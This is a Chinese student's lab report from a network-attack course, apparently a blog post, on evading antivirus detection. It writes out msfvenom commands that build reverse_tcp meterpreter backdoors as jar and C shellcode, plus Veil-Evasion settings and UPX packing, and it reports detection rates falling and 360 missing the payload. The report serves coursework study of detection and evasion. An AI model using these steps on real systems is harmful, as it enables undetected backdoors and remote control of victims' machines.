20155232《网络对抗》Exp3 免杀原理与实践

问题回答

  • 1.基础问题回答

(1)杀软是如何检测出恶意代码的?


基于特征码的检测

特征码:一段特征码就是一段或多段数据。

如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。


启发式恶意软件检测

根据些片面特征去推断。

通用性,不精确。


基于行为的恶意软件检测

修改文件硬盘、连接恶意网站、修改注册表


(2)免杀是做什么?

通过一些手段来瞒过杀软的检测扫描。避免被杀毒软件查杀。

(3)免杀的基本方法有哪些?

改变特征码:如果有exe可以加壳,有shellcode可以用encode进行编码,有源代码可以用veil-evasion进行重写再编译。

改变行为

尽量使用反弹式连接、使用隧道技术

基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码

  • 2.离实战还缺些什么技术或步骤?

实战靶机不会乖乖被你植入一个后门程序,并没有这么理想的情况,也不可能出现让你多次尝试连接还没有被察觉的情况,难度就会大大加强。而且现在各种杀毒软件的病毒库在不断地更新,所以需要探索出新的方法在实战中去应用。

实践内容


1.使用msf生成后门程序的检测


直接用上个实验的20155232_backdoor.exe进行检测,但是提示说不能有数字,所以修改名字后检测:

  • 扫描结果:46%的杀软(18/39)报告发现病毒.

2.Msfvenom使用编码器生成meterpreter可执行文件

  • 可以尝试多编码几次比如10次,理论上肯定比一次好些...但上课时老师说编码器可能就本身会被发现。

    就多编码几次试试,看看能不能好点,就试十次吧:在指令里加上
i 10

  • 扫描结果:48%的杀软(19/39)报告发现病毒,所以这个方法并不够免杀。

使用命令

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.229.137 LPORT=443 -f war > java_backdoor.jar

生成jar文件

出现错误:

然后将名字进行修改即可,。。。

哇塞还不错哦

39个杀毒软件5个报毒。

将程序复制到带杀软的win10中,没有任何反应。

3.veil-evasion生成可执行文件


在尝试安装和下载veil的安装包进行安装失败

又使用命令sudo apt-get 也失败后,使用了从老师那里拷贝的虚拟机~

  • 命令行直接输入veil打开软件
  • 根据menu提示依次输入下面的指令

问题

之前在输入python的时候提示错误

use python/meterpreter/rev_tcp.py

解决

于是选择换成c,重复上面的操作,发现ok了,可以生成可执行文件啦。

  • 根据menu提示依次输入下面的指令


# list
# use 7
  • 接着是设置LHOST和LPORT
set LHOST 192.168.229.137
set LPORT 5232
generate

  • 设置你想生成的文件名

  • 成功~

  • 按照路径去复制此文件

注意

需要切换到图中标出来的目录才能找到此文件,在进行搜索:

  • 扫描一下:

在拷贝到win10的过程中,没有被拦截。

结果是比MSF进步了很多,只有8个引擎检测出来了有后门。

实验了一下360也没能查杀出来:

突然觉得360有点菜啊。。。。=v=!


4.C语言调用Shellcode


  • 下面指令会生成一个c语言格式的Shellcode数组。
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.229.137 LPORT=443 -f c

  • 使用命令将该C语言代码转换为一个可在64位windows系统下操作的可执行文件

VirSCAN.org检测结果如下:

  • 根据老师提供的链接下载安装vs。并且选择桌面开发c++。

  • 进行编译运行,生成了exe文件:

放在网站上扫描一下~

比之前少了很多~

还是不错滴~

  • 在Kali上使用msfconsole指令进入msf控制台,使用监听模块,设置payload,设置反弹回连的IP和端口,进行回连:

回连成功:

360依旧没有扫描出来~

5.加壳

  • upx是一种压缩程序,可以实现加壳的功能,这里简单介绍该指令加壳的命令格式:
upx 需要加壳的文件名 -o 加壳后的文件名

  • 检测一下

感觉没有太大的变化。。。哈哈哈加壳后查杀率不但没有减少反而相比上一个提高了,360也提醒我有木马病毒,让我赶紧清理。

说明这个方法实现不了免杀。。

6.通过组合应用各种技术实现恶意代码免杀

加壳+veil-evasion

在将生成的文件进行扫描:

跟上一种情况比起来差不多~哈哈哈哈

不过360没有扫描出来~

6.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

总结体会

在这次的实验里安装veil出现了不少问题,最终也没有解决,就用了老师的虚拟机。。。然后通过这次实验可以了解到,实现免杀的技术有很多种,需要慢慢学习和探索,很多免杀的方法见都没见过,有的也没有看懂,对于软件生成来说,很容易暴露特征,而自己手工编写更能实现免杀。最重要的电脑主机的杀毒软件需要进行更新,而且选择一个好的软件也很重要。

20155232《网络对抗》Exp3 免杀原理与实践的更多相关文章

  1. 2018-2019-2 20165205 网络攻防Exp3免杀原理与实践

    2018-2019-2 20165205 网络攻防Exp3免杀原理与实践 一.实践内容 1.1正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用 ...

  2. 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...

  3. 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...

  4. 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...

  5. 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  6. 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  7. 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践

    2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...

  8. 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...

  9. 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...

随机推荐

  1. 你真的理解PeopleSoft的Web概要(web profile)嘛

    Web概要通过配置门户相关属性来控制门户的所有行为. 在PS系统中可以创建多个web概要,你可以通过不同的web概要来让用户路由到一个特定的web概要来控制超时,外观,缓存设置等.例如,通过Peopl ...

  2. ActiveReports 报表控件V12新特性 -- 新增矩表的RepeatToFill属性

    ActiveReports是一款专注于 .NET 平台的报表控件,全面满足 HTML5 / WinForms / ASP.NET / ASP.NET MVC / WPF 等平台下报表设计和开发工作需求 ...

  3. Nginx的rewrite(地址重定向)剖析

    1.rewrite语法: 指令语法:rewrite regex replacement[flag]; 默认值:none 应用位置:server.location.if rewrite是实现URL重定向 ...

  4. Flutter开发中的几个常用函数

    几个Flutter开发中的常用函数 /** 返回当前时间戳 */ static int currentTimeMillis() { return new DateTime.now().millisec ...

  5. python 实现int函数

    拖了这么久,最终还是战胜了懒惰,打开电脑写了这篇博客,内容也很简单,python实现字符串转整型的int方法 python已经实现了int方法,我们为什么还要再写一遍,直接用不就好了?事实确实如此,但 ...

  6. Android之间传递数据包

    在Android中 ,我们知道,两个activity之间通讯要用到Intent类,传递简单数据的方式我们也已经知道了.那么,如何在两个activity之间传递数据包呢,这就要用到我们的Bundle类了 ...

  7. 第 15 章 位操作(binbit)

    /*------------------------------------ binbit.c -- 使用位操作显示二进制 ------------------------------------*/ ...

  8. 【优质】React的学习资源

    React的学习资源 github 地址: https://github.com/LeuisKen/react-collection https://github.com/reactnativecn/ ...

  9. Alpha事后诸葛亮(阳光普照队)

    Alpha事后诸葛亮 设想和目标 1.实现文字识别,以用户喜欢的图片做背景将其保存,生成新的图片. 2.时间比较赶,主要是因为队员对于Android开发方面的了解不多,可以说是几乎没有,需要一步一步的 ...

  10. oracle数据库flashback系列--闪回数据库在dataguard中的使用

    很多人在学习flashback database这个oracle技术的时候,都会有一个疑问,就是如果我只有一个数据库作为生产库的话,是否有这样的业务需求导致我们要把数据库闪回到以前的时间点?以及这样做 ...